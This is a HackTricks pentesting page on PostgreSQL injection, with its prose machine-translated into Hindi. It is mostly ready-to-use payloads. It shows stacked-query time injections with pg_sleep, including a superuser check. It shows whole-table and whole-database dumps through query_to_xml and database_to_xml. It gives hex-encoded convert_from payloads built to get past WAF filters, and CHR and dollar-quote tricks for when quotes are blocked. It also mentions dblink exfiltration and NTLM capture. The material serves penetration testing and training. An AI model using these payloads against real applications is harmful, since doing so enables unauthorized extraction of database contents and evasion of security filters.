PostgreSQL injection
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यह पृष्ठ विभिन्न तरकीबों को समझाने का प्रयास करता है जो आपको PostgreSQL डेटाबेस में पाए गए SQL injection का लाभ उठाने में मदद कर सकती हैं और उन तरकीबों को पूरा कर सकती हैं जो आप https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md पर पा सकते हैं।
Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
PostgreSQL मॉड्यूल dblink
अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, COPY FROM
कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाएँ सक्षम करती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि इन हमलों को कैसे करें।
dblink और बड़े ऑब्जेक्ट्स का उपयोग करके डेटा निकासी का उदाहरण
आप इस उदाहरण को पढ़ सकते हैं यह देखने के लिए कि कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड किया जाए और फिर फ़ंक्शन dblink_connect
के उपयोगकर्ता नाम के अंदर बड़े ऑब्जेक्ट्स की सामग्री को निकाला जाए।
PostgreSQL Attacks: Read/write, RCE, privesc
देखें कि PostgreSQL से होस्ट को कैसे समझौता किया जाए और विशेषाधिकार कैसे बढ़ाए जाएं:
5432,5433 - Pentesting Postgresql
WAF bypass
PostgreSQL String functions
स्ट्रिंग्स को मैनिपुलेट करना आपको WAFs या अन्य प्रतिबंधों को बायपास करने में मदद कर सकता है।
इस पृष्ठ परआप कुछ उपयोगी स्ट्रिंग फ़ंक्शंस पा सकते हैं।
Stacked Queries
याद रखें कि PostgreSQL स्टैक्ड क्वेरीज़ का समर्थन करता है, लेकिन कई एप्लिकेशन एक त्रुटि फेंक देंगे यदि 2 प्रतिक्रियाएँ लौटाई जाती हैं जबकि केवल 1 की अपेक्षा की जाती है। लेकिन, आप अभी भी टाइम इंजेक्शन के माध्यम से स्टैक्ड क्वेरीज़ का दुरुपयोग कर सकते हैं:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML tricks
query_to_xml
यह फ़ंक्शन सभी डेटा को XML प्रारूप में केवल एक फ़ाइल में लौटाएगा। यदि आप केवल 1 पंक्ति में बहुत सारा डेटा डंप करना चाहते हैं तो यह आदर्श है:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
यह फ़ंक्शन पूरे डेटाबेस को केवल 1 पंक्ति में XML प्रारूप में डंप करेगा (यदि डेटाबेस बहुत बड़ा है तो सावधान रहें क्योंकि आप इसे DoS कर सकते हैं या यहां तक कि अपने स्वयं के क्लाइंट को भी):
SELECT database_to_xml(true,true,'');
Strings in Hex
यदि आप queries को एक स्ट्रिंग के अंदर पास कर सकते हैं (उदाहरण के लिए query_to_xml
फ़ंक्शन का उपयोग करके)। आप hex के रूप में स्ट्रिंग पास करने के लिए convert_from का उपयोग कर सकते हैं और इस तरह से फ़िल्टर को बायपास कर सकते हैं:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
निषिद्ध उद्धरण
यदि आप अपने पेलोड के लिए उद्धरण का उपयोग नहीं कर सकते हैं, तो आप इसे CHR
के साथ बायपास कर सकते हैं बुनियादी धाराओं के लिए (अक्षर संयोजन केवल बुनियादी प्रश्नों जैसे SELECT, INSERT, DELETE, आदि के लिए काम करता है। यह सभी SQL बयानों के लिए काम नहीं करता):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
या $
के साथ। ये क्वेरी समान परिणाम लौटाती हैं:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।